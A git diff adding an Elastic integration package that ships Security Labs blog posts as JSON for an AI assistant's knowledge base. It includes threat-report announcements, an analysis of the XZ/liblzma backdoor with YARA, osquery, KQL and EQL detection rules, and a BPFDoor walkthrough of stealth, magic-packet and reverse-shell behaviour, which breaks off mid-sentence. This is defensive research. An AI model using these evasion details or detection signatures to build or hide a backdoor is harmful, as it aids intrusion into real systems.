diff --git a/.github/CODEOWNERS b/.github/CODEOWNERS index 45d11e72fa1..fffb55a6ca5 100644 --- a/.github/CODEOWNERS +++ b/.github/CODEOWNERS @@ -362,6 +362,7 @@ /packages/salesforce @elastic/obs-infraobs-integrations /packages/santa @elastic/security-service-integrations /packages/security_ai_prompts @elastic/security-generative-ai +/packages/security_labs_content @elastic/security-generative-ai /packages/security_detection_engine @elastic/protections /packages/sentinel_one @elastic/security-service-integrations /packages/sentinel_one_cloud_funnel @elastic/security-service-integrations diff --git a/packages/security_labs_content/LICENSE.txt b/packages/security_labs_content/LICENSE.txt new file mode 100644 index 00000000000..809108b857f --- /dev/null +++ b/packages/security_labs_content/LICENSE.txt @@ -0,0 +1,93 @@ +Elastic License 2.0 + +URL: https://www.elastic.co/licensing/elastic-license + +## Acceptance + +By using the software, you agree to all of the terms and conditions below. + +## Copyright License + +The licensor grants you a non-exclusive, royalty-free, worldwide, +non-sublicensable, non-transferable license to use, copy, distribute, make +available, and prepare derivative works of the software, in each case subject to +the limitations and conditions below. + +## Limitations + +You may not provide the software to third parties as a hosted or managed +service, where the service provides users with access to any substantial set of +the features or functionality of the software. + +You may not move, change, disable, or circumvent the license key functionality +in the software, and you may not remove or obscure any functionality in the +software that is protected by the license key. + +You may not alter, remove, or obscure any licensing, copyright, or other notices +of the licensor in the software. Any use of the licensor’s trademarks is subject +to applicable law. + +## Patents + +The licensor grants you a license, under any patent claims the licensor can +license, or becomes able to license, to make, have made, use, sell, offer for +sale, import and have imported the software, in each case subject to the +limitations and conditions in this license. This license does not cover any +patent claims that you cause to be infringed by modifications or additions to +the software. If you or your company make any written claim that the software +infringes or contributes to infringement of any patent, your patent license for +the software granted under these terms ends immediately. If your company makes +such a claim, your patent license ends immediately for work on behalf of your +company. + +## Notices + +You must ensure that anyone who gets a copy of any part of the software from you +also gets a copy of these terms. + +If you modify the software, you must include in any modified copies of the +software prominent notices stating that you have modified the software. + +## No Other Rights + +These terms do not imply any licenses other than those expressly granted in +these terms. + +## Termination + +If you use the software in violation of these terms, such use is not licensed, +and your licenses will automatically terminate. If the licensor provides you +with a notice of your violation, and you cease all violation of this license no +later than 30 days after you receive that notice, your licenses will be +reinstated retroactively. However, if you violate these terms after such +reinstatement, any additional violation of these terms will cause your licenses +to terminate automatically and permanently. + +## No Liability + +*As far as the law allows, the software comes as is, without any warranty or +condition, and the licensor will not be liable to you for any damages arising +out of these terms or the use or nature of the software, under any kind of +legal claim.* + +## Definitions + +The **licensor** is the entity offering these terms, and the **software** is the +software the licensor makes available under these terms, including any portion +of it. + +**you** refers to the individual or entity agreeing to these terms. + +**your company** is any legal entity, sole proprietorship, or other kind of +organization that you work for, plus all organizations that have control over, +are under the control of, or are under common control with that +organization. **control** means ownership of substantially all the assets of an +entity, or the power to direct its management and policies by vote, contract, or +otherwise. Control can be direct or indirect. + +**your licenses** are all the licenses granted to you for the software under +these terms. + +**use** means anything you do with the software requiring one of your licenses. + +**trademark** means trademarks, service marks, and similar rights. diff --git a/packages/security_labs_content/changelog.yml b/packages/security_labs_content/changelog.yml new file mode 100644 index 00000000000..80d9b957590 --- /dev/null +++ b/packages/security_labs_content/changelog.yml @@ -0,0 +1,6 @@ +# newer versions go on top +- version: "0.0.1" + changes: + - description: Initial draft of the package + type: enhancement + link: https://github.com/elastic/integrations/pull/13967 diff --git a/packages/security_labs_content/docs/README.md b/packages/security_labs_content/docs/README.md new file mode 100644 index 00000000000..6bdf6f3c710 --- /dev/null +++ b/packages/security_labs_content/docs/README.md @@ -0,0 +1,46 @@ +# Security Labs Content Integration (Beta) + +## Overview + +The **Security Labs Content** integration provides the security labs content to be used within elastic security. + +This integration is in **beta** and subject to changes. Feedback and contributions are welcome. + +## Requirements + +- Elastic Stack **8.19.x**, **9.1.x**, or later. +- Kibana with the **Elastic Assistant** plugin enabled. + +## Installation + +This integration is automatically installed when users setup the **Security AI Assistant knowledge base** in Kibana. No manual setup is required. + +## Usage + +1. Navigate to **Security Solution** in Kibana. +2. The security labs content will be used by the security AI assistant + +## Developer Guide + +Developers updating this integration must regenerate and update the AI prompts in the package: + +1. Generate the Security AI Prompts in the Kibana repository: + ```sh + cd x-pack/solutions/security/plugins/elastic_assistant + yarn generate-security-labs-content + ``` +2. Copy the updated prompt files to this package: + ```sh + cd packages/security_labs_content/kibana/security_labs_content + rm ./*.json + cp $KIBANA_HOME/target/security_labs_content/*.json . + ``` + +## Known Issues & Limitations +This integration is currently in beta and subject to change. + +## Contributing +Contributions are welcome! If you encounter issues or have suggestions, please open an issue or submit a pull request. + +## License +This integration is subject to the Elastic License. diff --git a/packages/security_labs_content/img/security-logo-color-64px.svg b/packages/security_labs_content/img/security-logo-color-64px.svg new file mode 100644 index 00000000000..64deb46be7d --- /dev/null +++ b/packages/security_labs_content/img/security-logo-color-64px.svg @@ -0,0 +1,14 @@ + + + + security-logo-color-64px + Created with Sketch. + + + + + + + + + \ No newline at end of file diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-2022_elastic_global_threat_report_announcement-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-2022_elastic_global_threat_report_announcement-md.json new file mode 100644 index 00000000000..d437654e552 --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-2022_elastic_global_threat_report_announcement-md.json @@ -0,0 +1,24 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"2022 Elastic Global Threat Report Announcement\"\nslug: \"2022-elastic-global-threat-report-announcement\"\ndate: \"2022-11-30\"\ndescription: \"Discover our latest findings & strategic recommendations to better stay informed of potential directions threat actors may focus on.\"\nauthor:\n - slug: devon-kerr\nimage: \"gtr-blog-image-720x420.jpg\"\ncategory:\n - slug: reports\n---\n\nToday Elastic Security Labs celebrates another milestone: launching the [2022 Elastic Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report), our inaugural summary of threat trends, forecasts, and recommendations. We analyzed millions of telemetry events from sources around the world to share these insights with you; all part of our continued commitment to transparency, and our mission to protect the world's data.\n\nYou can find the report [here](https://www.elastic.co/explore/security-without-limits/global-threat-report), we're excited to share it with you.\n" + }, + "title": "2022 Elastic Global Threat Report Announcement", + "slug": "2022-elastic-global-threat-report-announcement", + "date": "2022-11-30", + "description": "Discover our latest findings & strategic recommendations to better stay informed of potential directions threat actors may focus on.", + "author": [ + { + "slug": "devon-kerr" + } + ], + "image": "gtr-blog-image-720x420.jpg", + "category": [ + { + "slug": "reports" + } + ] + }, + "id": "security_labs_content-2022_elastic_global_threat_report_announcement-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-2022_elastic_global_threat_report_helping_security_leaders_navigate_todays_threat_landscape-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-2022_elastic_global_threat_report_helping_security_leaders_navigate_todays_threat_landscape-md.json new file mode 100644 index 00000000000..37995ae173d --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-2022_elastic_global_threat_report_helping_security_leaders_navigate_todays_threat_landscape-md.json @@ -0,0 +1,24 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"2022 Elastic Global Threat Report: Helping security leaders navigate today’s threat landscape\"\nslug: \"2022-elastic-global-threat-report-helping-security-leaders-navigate-todays-threat-landscape\"\ndate: \"2022-11-30\"\ndescription: \"A significant percentage of all cyber threats achieve a degree of success against technical, procedural, and human mitigations. So what is a company to do in the face of such unfavorable odds? Find out in this article.\"\nauthor:\n - slug: ken-exner\nimage: \"gtr-blog-image-720x420.jpg\"\ncategory:\n - slug: reports\n---\n\nAs the threat landscape continues to evolve, cybersecurity stakes are growing exponentially higher for today’s organizations. Between Log4j, geopolitical tension, and increasing ransomware threats, security is not just at the top of the business agenda but also the societal agenda. Meanwhile, threat actors have adopted new capabilities and methods while increasing their cadence of activity.\n\nThreat detection and response has come a long way since the firewall dissolved and the cloud took center stage. AI and machine learning, for example, have been major contributors to the advancement of cybersecurity. Machine learning is being used to identify malicious behavior from bad actors by modeling network behavior and improving overall threat detection.\n\nWhat’s been difficult is the sea of sameness filled with vendors promising products to mitigate today’s threats while preparing for the next one. As the [2022 Elastic Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report) outlines, a significant percentage of all threats achieve a degree of success against technical, procedural, and human mitigations. So what is a company to do in the face of such unfavorable odds? At Elastic, we believe there are several ingredients that are critical to managing today’s threat landscape.\n\n## Build a program, not just a tool\n\nVendors need to start thinking about security products as more than software. They are part of a living, breathing program that takes care and feeding. For Elastic, it’s not just about shipping a solution; it’s about offering a holistic approach to security that happens to come with a great product. It’s sharing insights and best practices and creating a community focused on security data intelligence that extends the value of Elastic Security for customers.\n\nThe 2022 Elastic Threat Report is an important part of that program, and we’re excited to share our knowledge with the community. In addition to vital information from the Elastic Security Labs team, the report provides actionable guidance to security practitioners about how to maximize positive outcomes for their organizations.\n\n## It takes an (open) community\n\nThe foundation of any good program is a strong community that can support and foster it. Take Elastic’s commitment to open security, for example. The community born from vendors being transparent about their security controls, detection rules, and threat logic can be a force multiplier of best practices across the entire industry.\n\nWhen vendors engage their experts with experts from across the broader security community about new threats they’ve observed or innovative methods for detecting nuanced attacks, it creates greater scalability of system defenses — not just for the enterprise but also for their customers.\n\nFor example, at Elastic we recently opened our Endpoint Security [protections-artifacts repo](https://github.com/elastic/protections-artifacts), adding to our already open [detection-rules repo](https://github.com/elastic/detection-rules/tree/main/rules), to foster further collaboration with our community and be transparent about how we protect users.\n\n## Treat the cause, not the symptom\n\nDespite the ever-growing threat landscape and the risks that it poses, many organizations are still treating security symptoms instead of the cause. Companies can no longer afford to keep the security team siloed and separate from the engineering team. The two functions must work closely to build products and solutions that can withstand the barrage of advancing threats.\n\nAt Elastic, we design and build products with security in mind from the start, so it’s baked into every solution we ship to our customers. In fact, we take security so seriously that the office of InfoSec is part of the engineering organization.\n\nWe hope that the 2022 Elastic Global Threat Report will help your understanding of the important shifts in the threat landscape, and provide the information you need to make your organization more resilient, prepared, and protected.\n\n[Download the 2022 Elastic Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report).\n" + }, + "title": "2022 Elastic Global Threat Report: Helping security leaders navigate today’s threat landscape", + "slug": "2022-elastic-global-threat-report-helping-security-leaders-navigate-todays-threat-landscape", + "date": "2022-11-30", + "description": "A significant percentage of all cyber threats achieve a degree of success against technical, procedural, and human mitigations. So what is a company to do in the face of such unfavorable odds? Find out in this article.", + "author": [ + { + "slug": "ken-exner" + } + ], + "image": "gtr-blog-image-720x420.jpg", + "category": [ + { + "slug": "reports" + } + ] + }, + "id": "security_labs_content-2022_elastic_global_threat_report_helping_security_leaders_navigate_todays_threat_landscape-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-500ms_to_midnight-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-500ms_to_midnight-md.json new file mode 100644 index 00000000000..a0717e23acc --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-500ms_to_midnight-md.json @@ -0,0 +1,38 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"500ms to midnight: XZ / liblzma backdoor\"\nslug: \"500ms-to-midnight\"\ndate: \"2024-04-05\"\ndescription: \"Elastic Security Labs is releasing an initial analysis of the XZ Utility backdoor, including YARA rules, osquery, and KQL searches to identify potential compromises.\"\nauthor:\n - slug: samir-bousseaden\n - slug: mika-ayenson\n - slug: jake-king\nimage: \"500ms-to-midnight.jpg\"\ncategory:\n - slug: security-research\n - slug: vulnerability-updates\ntags:\n - linux\n - vulnerability\n - cve-2024-3094\n---\n\n## Key Takeaways\n\n* On March 29, 2024, Andres Freund identified malicious commits to the command-line utility XZ, impacting versions 5.6.0 and 5.6.1 for Linux, and shared the information on the oss-security mailing list.\n* Andres’ discovery was made after an increase of _500ms_ in latency was observed with SSH login attempts initiated from a development system, amongst other anomalies.\n* The backdoor identified has been designed to circumvent authentication controls within SSH to remotely execute code, potentially gaining access to other systems in the environment.\n* The code commits were added and signed by [JiaT75](https://tukaani.org/xz-backdoor) (now suspended), who contributed to the popular open source project for several years.\n* Security researchers are still undertaking an initial analysis of the payload, dissecting both the build process and the backdoor.\n* Elastic has released both YARA signatures, detection rules, and osquery queries, allowing Linux system maintainers to understand the impact and block potential compromises early.\n\n## The XZ / liblzma backdoor at a glance\n\nOn March 29 2024, the widely adopted XZ package used within many Linux distributions as a library used by the system to interact with SSH client connections (and many other system utilities) was pulled into the spotlight after a _500ms_ delay with intermittent failures. What began as a routine investigation into that anomaly would take a surprising and unexpected twist: malicious, obfuscated code was planted in the package by a maintainer–code that was also in circulation for a few weeks via a poisoned build process.\n\nAndres Freund, the developer who initially [identified the malicious contributions](https://www.openwall.com/lists/oss-security/2024/03/29/4), observed that the changes had been implemented in versions `5.6.0` and `5.6.1` of the XZ Utils package but had not been widely adopted across all Linux distributions, outside of select bleeding-edge variants typically used for early-stage testing.\n\n[Initial analysis](https://bsky.app/profile/filippo.abyssdomain.expert/post/3kowjkx2njy2b) has shown that the backdoor is designed to circumvent authentication controls in `sshd` via `systemd` and attempts to execute code within a pre-authentication context. Observations made so far have shown that the malicious code is not in its final target state and was perhaps caught early through haphazard mistakes the developer neglected to consider, causing impacts to legitimate SSH use cases.\n\nAlongside the malicious package being circulated within a small number of Linux distributions, several observations have been made in the popular package management software HomeBrew, which has impacted some macOS users. The maintainers of Homebrew-- and other software packages that included this library-- are presently rolling back to prior versions that aren't impacted by these malicious changes, although mainly out of an abundance of caution, as compromised builds were only targeting deb and rpm packages.\n\nThe following notice was released on the Tukaani Project’s homepage (the project owner of the [XZ Utils Git repository](https://github.com/tukaani-project/xz)) shortly after the news of the backdoor broke.\n\n![XZ Utils backdoor notification on the Tukaani Project](/assets/images/500ms-to-midnight/image2.png \"XZ Utils backdoor notification on the Tukaani Project\")\n\n\nThe compromise itself, while high risk, is relatively minor in terms of real-world impact given the stage of discovery. This situation should remind security professionals about the importance of understanding supply-chain compromise, monitoring Linux workloads, and auditing system controls. In this situation, defenders had the advantage of time. \n\n## Backdoor analysis\n\n### XZ backdoor build process:\n\n[CVE-2024-3094](https://nvd.nist.gov/vuln/detail/CVE-2024-3094) explains how the changes in the `liblzma` were created from the malicious additions to the library’s build scripts and directly impacts any software that links the library on an impacted system.\n\nThe maliciously modified build script is divided into three stages, starting with the additions in `m4/build-to-host.m4` and progressing through the obfuscation and execution stages. At a high level, some obfuscation techniques include character substitution and selective byte processing commands via the `tr` and `head` commands to decode and execute the malicious payloads in the test files. Interestingly, many impacted tools used are standard Linux system tools typically used by administrators for legitimate purposes.\n\nThe [build process](https://gynvael.coldwind.pl/?lang=en&id=782) runs as follows :\n\n* **Stage 0:** The initial malicious code additions attempt to decode the Stage 1 script (hidden code segments) by changing byte values from specific test files, which under normal circumstances appear corrupt, to form a valid XZ stream.\n* **Stage 1:** This stage leverages a bash file with special checks (e.g., the Linux architecture the script runs on) and Bash commands to analyze the environment (e.g. `[ \"$(uname)\" = \"Linux\" ]`) to ensure compatible conditions are met for the backdoor. Depending on the outcome of the checks, additional malicious scripts or payloads may be executed.\n* **Stage 2:** This phase involves an infected.txt file, which details the altered extraction and compilation code modifications, namely:\n * Reconstruction Data: Byte manipulation and decoding techniques on obfuscated compressed data from test files to reconstruct the malicious payload using commands like `sed` and `awk`\n * Obfuscation and Extraction: Complex decryption and obfuscation techniques using the `tr` command to extract the binary backdoor to remain hidden from typical detection mechanisms\n * Build Process Manipulation: This changes the build and compilation steps to embed the binary backdoor into Linux system processes\n * Extension Mechanism: A design that allows for new scripts and updates to the backdoor without modifying the original payload\n * Future Stage Preparation: Sets the groundwork for malicious follow-up activities, like propagating the backdoor \n\n## Assessing impact:\n\nGiven the limited usage of the impacted beta distributions and software, this compromise should impact few systems. Maintainers of Linux systems are however encouraged to ensure systems are not running impacted versions of `xzutils` / `liblzma` by leveraging the following osquery queries:\n\n[Linux](https://gist.github.com/jamesspi/ee8319f55d49b4f44345c626f80c430f):\n\n```\nSELECT 'DEB Package' AS source, name, version,\n CASE\n WHEN version LIKE '5.6.0%' OR version LIKE '5.6.1%' THEN 'Potentially Vulnerable'\n ELSE 'Most likely not vulnerable'\n END AS status\nFROM deb_packages\nWHERE name = 'xz-utils' OR name = 'liblzma' OR name LIKE 'liblzma%'\nUNION\nSELECT 'RPM Package' AS source, name, version,\n CASE\n WHEN version LIKE '5.6.0%' OR version LIKE '5.6.1%' THEN 'Potentially Vulnerable'\n ELSE 'Most likely not vulnerable'\n END AS status\nFROM rpm_packages\nWHERE name = 'xz-utils' OR name = 'liblzma' OR name LIKE 'liblzma%';\n\n```\n\n[macOS](https://gist.github.com/jamesspi/5cb060b5e0e2d43222a71c876b56daab):\n\n```\nSELECT 'Homebrew Package' AS source, name, version,\n CASE\n WHEN version LIKE '5.6.0%' OR version LIKE '5.6.1%' THEN 'Potentially Vulnerable'\n ELSE 'Most likely not vulnerable'\n END AS status\nFROM homebrew_packages\nWHERE name = 'xz' OR name = 'liblzma';\n```\n\nThe following KQL query can be used to query Elastic Defend file events: \n\n```\nevent.category : file and host.os.type : (macos or linux) and file.name : liblzma.so.5.6.*\n```\n\nAlternatively, manually checking the version of XZ running on a system is as simple as running the [following commands](https://x.com/Kostastsale/status/1773890846250926445?s=20) (from researcher [Kostas](https://twitter.com/Kostastsale)) and checking the output version. Remember, versions 5.6.0 and 5.6.1 are impacted and should be rolled back or updated to a newer version.\n\n```\nfor xz_p in $(type -a xz | awk '{print $NF}' | uniq); do strings \"$xz_p\" | grep \"xz (XZ Utils)\" || echo \"No match found for $xz_p\"; done\n```\n\n## Malware protection\n\nThe following [YARA signature](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Linux_Trojan_XZBackdoor.yar) (disk and in-memory) is deployed in Elastic Defend to block the XZ backdoor.\n\n```\nrule Linux_Trojan_XZBackdoor {\n meta:\n author = \"Elastic Security\"\n fingerprint = \"f1982d1db5aacd2d6b0b4c879f9f75d4413e0d43e58ea7de2b7dff66ec0f93ab\"\n creation_date = \"2024-03-30\"\n last_modified = \"2024-03-31\"\n threat_name = \"Linux.Trojan.XZBackdoor\"\n reference_sample = \"5448850cdc3a7ae41ff53b433c2adbd0ff492515012412ee63a40d2685db3049\"\n severity = 100\n arch_context = \"x86\"\n scan_context = \"file, memory\"\n license = \"Elastic License v2\"\n os = \"linux\"\n strings:\n /* potential backdoor kill-switch as per https://gist.github.com/q3k/af3d93b6a1f399de28fe194add452d01?permalink_comment_id=5006558#file-hashes-txt-L115 */\n $a1 = \"yolAbejyiejuvnup=Evjtgvsh5okmkAvj\"\n/* function signature in liblzma used by sshd */\n $a2 = { F3 0F 1E FA 55 48 89 F5 4C 89 CE 53 89 FB 81 E7 00 00 00 80 48 83 EC 28 48 89 54 24 18 48 89 4C 24 10 }\n /* unique byte patterns in backdoored liblzma */\n $b1 = { 48 8D 7C 24 08 F3 AB 48 8D 44 24 08 48 89 D1 4C 89 C7 48 89 C2 E8 ?? ?? ?? ?? 89 C2 }\n $b2 = { 31 C0 49 89 FF B9 16 00 00 00 4D 89 C5 48 8D 7C 24 48 4D 89 CE F3 AB 48 8D 44 24 48 }\n $b3 = { 4D 8B 6C 24 08 45 8B 3C 24 4C 8B 63 10 89 85 78 F1 FF FF 31 C0 83 BD 78 F1 FF FF 00 F3 AB 79 07 }\n condition:\n 1 of ($a*) or all of ($b*)\n}\n```\n\nDetections of this signature will appear in Elastic as follows: \n\n![Detecting the Linux.Trojan.XZBackdoor signature in Elastic](/assets/images/500ms-to-midnight/image4.png \"Detecting the Linux.Trojan.XZBackdoor signature in Elastic\")\n\n\n## Behavior Detection\n\nLeveraging [Elastic Defend](https://docs.elastic.co/en/integrations/endpoint)’s network and process events, we published a new EQL [detection rule](https://github.com/elastic/detection-rules/blob/main/rules/linux/persistence_suspicious_ssh_execution_xzbackdoor.toml) to identify instances where the SSHD service starts, spawns a shell process and immediately terminates unexpectedly all within a very short time span: \n\n```\nsequence by host.id, user.id with maxspan=1s\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and process.name == \"sshd\" and\n process.args == \"-D\" and process.args == \"-R\"] by process.pid, process.entity_id\n [process where host.os.type == \"linux\" and event.type == \"start\" and event.action == \"exec\" and process.parent.name == \"sshd\" and \n process.executable != \"/usr/sbin/sshd\"] by process.parent.pid, process.parent.entity_id\n [process where host.os.type == \"linux\" and event.action == \"end\" and process.name == \"sshd\" and process.exit_code != 0] by process.pid, process.entity_id\n [network where host.os.type == \"linux\" and event.type == \"end\" and event.action == \"disconnect_received\" and process.name == \"sshd\"] by process.pid, process.entity_id\n```\n\n![Matches while simulating execution via the backdoor using XZBot - github.com/amlweems/xzbot](/assets/images/500ms-to-midnight/image1.png \"Matches while simulating execution via the backdoor using XZBot - github.com/amlweems/xzbot\")\n\n\n\n![Timeline view displaying events matching the EQL query](/assets/images/500ms-to-midnight/image3.png \"Timeline view displaying events matching the EQL query\")\n\n\n## Linux: the final frontier\n\nWhile observations of supply chain-based attacks or exploitation of vulnerabilities rarely reach this level of global press coverage, Elastic’s observations described in the [2023 Global Threat Report](https://www.elastic.co/explore/security-without-limits/global-threat-report) show that Linux-based signature events continue to grow in our dataset. This growth is partially tied to growth in the systems we observe that report on threat behavior, but it strongly suggests that adversaries are becoming increasingly focused on Linux systems. \n\nLinux is and will continue to be on the [minds of threat groups](https://www.elastic.co/security-labs/a-peek-behind-the-bpfdoor), as its widespread adoption across the internet reinforces its importance. In this case, adversarial groups were trying to circumvent existing controls that would allow for future compromise through other means.\n\nWhile the objectives of the person(s) behind the XZ backdoor haven’t been made clear yet, it is within the technical capabilities of many threat entities focused on espionage, extortion, destruction of data, intellectual property theft, and human rights abuses. With the ability to execute code on impacted Internet-accessible systems, it’s reasonable to assume that bad actors would further infiltrate victims. Elastic Security Labs sees that Linux visibility has been dramatically improving and enterprises have started to effectively manage their Linux populations, but many organizations reacting to this supply chain compromise are still at the start of that process.\n" + }, + "title": "500ms to midnight: XZ / liblzma backdoor", + "slug": "500ms-to-midnight", + "date": "2024-04-05", + "description": "Elastic Security Labs is releasing an initial analysis of the XZ Utility backdoor, including YARA rules, osquery, and KQL searches to identify potential compromises.", + "author": [ + { + "slug": "samir-bousseaden" + }, + { + "slug": "mika-ayenson" + }, + { + "slug": "jake-king" + } + ], + "image": "500ms-to-midnight.jpg", + "category": [ + { + "slug": "security-research" + }, + { + "slug": "vulnerability-updates" + } + ], + "tags": [ + "linux", + "vulnerability", + "cve-2024-3094" + ] + }, + "id": "security_labs_content-500ms_to_midnight-md", + "type": "security_labs_content" +} diff --git a/packages/security_labs_content/kibana/security_labs_content/security_labs_content-a_peek_behind_the_bpfdoor-md.json b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-a_peek_behind_the_bpfdoor-md.json new file mode 100644 index 00000000000..166a8cffa48 --- /dev/null +++ b/packages/security_labs_content/kibana/security_labs_content/security_labs_content-a_peek_behind_the_bpfdoor-md.json @@ -0,0 +1,27 @@ +{ + "attributes": { + "raw": { + "document": "---\ntitle: \"A peek behind the BPFDoor\"\nslug: \"a-peek-behind-the-bpfdoor\"\ndate: \"2022-07-13\"\ndescription: \"In this research piece, we explore BPFDoor — a backdoor payload specifically crafted for Linux in order to gain re-entry into a previously or actively compromised target environment.\"\nauthor:\n - slug: jake-king\n - slug: colson-wilhoit\nimage: \"blog-security-detection-720x420.png\"\ncategory:\n - slug: attack-pattern\n---\n\n## Preamble\n\n[BPFDoor](https://doublepulsar.com/bpfdoor-an-active-chinese-global-surveillance-tool-54b078f1a896) is a backdoor payload specifically crafted for Linux. Its purpose is for long-term persistence in order to gain re-entry into a previously or actively compromised target environment. It notably utilizes BPF along with a number of other techniques to achieve this goal, taking great care to be as efficient and stealthy as possible. PWC researchers discovered this very interesting piece of malware in 2021. PWC attributes this back door to a specific group from China, Red Menshen, and detailed a number of interesting components in a high-level threat research post released [last week](https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf).\n\nPWC’s findings indicated that ​​Red Menshen had focused their efforts on targeting specific Telecommunications, Government, Logistics, and Education groups across the Middle East and Asia. This activity has been across a Monday-to-Friday working period, between 01:00 UTC and 10:00 UTC, indicating that the operators of the malware were consistent in their attacks, and operation during a working week.\n\nPerhaps most concerningly, the payload itself has been observed across the last 5 years in various phases of development and complexity, indicating that the threat actor responsible for operating the malware has been at it for some time, undetected in many environments.\n\n> **BPFDoor Tools**\n>\n> The Elastic Security Team has created a few tools that will aid researchers in analyzing the BPFDoor malware.\n>\n> The BPFDoor scanner will allow you to scan for hosts infected with the BPFDoor malware and the BPFDoor configuration extractor will allow you to extrapolate the malware’s configuration or hardcoded values which can lead to additional observations you can use for further analysis, developing additional signatures or connecting to the backdoor utilizing our client.\n>\n> - [BPFDoor scanner](https://www.elastic.co/security-labs/bpfdoor-scanner)\n> - [BPFDoor configuration extractor](https://www.elastic.co/security-labs/bpfdoor-configuration-extractor)\n\n## Attack Lifecycle\n\nThis inherently passive backdoor payload is built to be a form of persistence – a method to regain access if the first or second stage payloads are lost. It is built for and intended to be installed on high-uptime servers or appliances, IoT/SCADA, or cloud systems with access to the Internet. The backdoor usually sits in temporary storage so if a server were to be rebooted or shut down, the backdoor would be lost.\n\nIt should be assumed that if this malware is found on a system the initial-access (1st stage) or post-exploitation (2nd stage) payloads are still most likely present and possibly active elsewhere in the environment. This backdoor excels at stealth, taking every opportunity to blend in and remain undetected.\n\nIn the below steps, we will break BPFDoor’s actions down according to the vast majority of the samples available.\n\n1. When executed the binary copies itself into /dev/shm/. A temporary filesystem /dev/shm stands for shared memory and is a temporary file storage facility serving as an efficient means of inter-process communication\n2. Renames its process to kdmtmpflush, a hardcoded process name\n3. Initializes itself with the -init flag and forks itself. Forking in Linux means creating a new process by duplicating the calling process\n4. Deletes itself by removing the original binary invoked. The forked process continues to run\n5. Alters the forked processes’ creation and modification time values, also known as [timestomping](https://attack.mitre.org/techniques/T1070/006/)\n6. Creates a new process environment for itself and removes the old one setting (spoofing) a new process name. It changes the way it appears on the system akin to wearing a mask. The process is still kdmtmpflush but if you were to run a ps you would see whatever value it set\n7. Creates a process ID (PID) file in /var/run. PID files are text files containing the process of the associated program meant for preventing multiple starts, marking residency, and used by the program to stop itself. This file resides in /var/run, another temporary file storage facility\n8. Creates a raw network socket. On Linux, a socket is an endpoint for network communication that allows you to specify in detail every section of a packet allowing a user to implement their own transport layer protocol above the internet (IP) level\n9. Sets BPF filters on the raw socket. [BPF](https://www.kernel.org/doc/html/v5.12/networking/filter.html) allows a user-space program to attach a filter onto any socket and allow or disallow certain types of data to come through the socket\n10. Observes incoming packets\n11. If a packet is observed that matches the BPF filters and contains the required data it is passed to the backdoor for processing\n12. It forks the current process again\n13. Changes the forked processes working directory to /\n14. Changes (spoofs) the name of the forked process to a hardcoded value\n15. Based on the password or existence of a password sent in the “magic packet” the backdoor provides a reverse shell, establishes a bind shell, or sends back a ping\n\n> **Atypical BPFDoor sample**\n>\n> Of note there is one [sample](https://www.virustotal.com/gui/file/07ecb1f2d9ffbd20a46cd36cd06b022db3cc8e45b1ecab62cd11f9ca7a26ab6d/detection) we have come across that does not seem to exhibit steps 1 - 4. It doesn’t alter its initial name to a hardcoded value and simply executes from its placed location, otherwise, it models the same behavior.\n\nBelow you can see visual representations of the BPFDoor process tree, utilizing Elastic’s Analyzer View. The first image displays the tree prior to active use of the backdoor (i.e reverse shell, bind shell, or pingback) and the second image after a reverse shell has connected and performed post-exploitation activities.\n\n![Elastic Analyzer View of the BPFDoor initial invocation process tree](/assets/images/a-peek-behind-the-bpfdoor/analyzer-view.png)\n\n![Elastic Analyzer View of BPFDoor following a reverse shell connection and post exploitation actions](/assets/images/a-peek-behind-the-bpfdoor/bpfdoor_analyzer.png)\n\n## Defense Evasion Insights\n\nBPFDoor is interesting given the anti-forensics, and obfuscation tactics used. Astute readers will observe slight differences in the PID tree visible when running a ps ajxf on an infected host when compared to executed data within the Analyzer View inside of Elastic. This is due to the process name spoofing mentioned in step 6 (above) of the attack lifecycle above. The image below is taken from a system running BPFDoor with an active reverse shell connection established:\n\n![An observed running process created by the BPFDoor reverse shell](/assets/images/a-peek-behind-the-bpfdoor/observed-process.jpg)\n\nThe difference lies in the fact that kdmtmpflush and sh are run prior to spoofing, and are captured at runtime by Elastic Endpoint. This is an accurate representation of the processes active on the host, further confirming the importance of appropriate observation software for Linux hosts - you can’t always trust what you see on the local system:\n\n![Elastic Analyzer View of BPFDoor demonstrating real process capture.](/assets/images/a-peek-behind-the-bpfdoor/analyzer-terminated.jpg)\n\nBPFDoor also holds in its repertoire the ability to subvert the traditional Linux socket client - server architecture in order to hide its malicious traffic. The methods which it utilizes to achieve this are both unusual and intriguing.\n\nThe sockets interface is almost synonmous with TCP/IP communication. This simple interface has endured for over 40 years - predating both Linux and Windows implementations.\n\n![Example of how TCP/IP and socket interfaces function](/assets/images/a-peek-behind-the-bpfdoor/tcp-ip.png)\n\nBPFDoor uses a raw socket (as opposed to ‘cooked’ ones that handle IP/TCP/UDP headers transparently) to observe every packet arriving at the machine, ethernet frame headers and all. While this might sound like a stealthy way to intercept traffic, it’s actually not – on any machine with a significant amount of network traffic the CPU usage will be consistently high.\n\nThat’s where BPF comes in - an extremely efficient, kernel-level packet filter is the perfect tool to allow the implant to ignore 99% of network traffic and only become activated when a special pattern is encountered. This implant looks for a so-called magic packet in every TCP, UDP and ICMP packet received on the system.\n\nOnce activated, a typical reverse shell - which this back door also supports - creates an outbound connection to a listener set up by the attacker. This has the advantage of bypassing firewalls watching inbound traffic only. This method is well-understood by defenders, 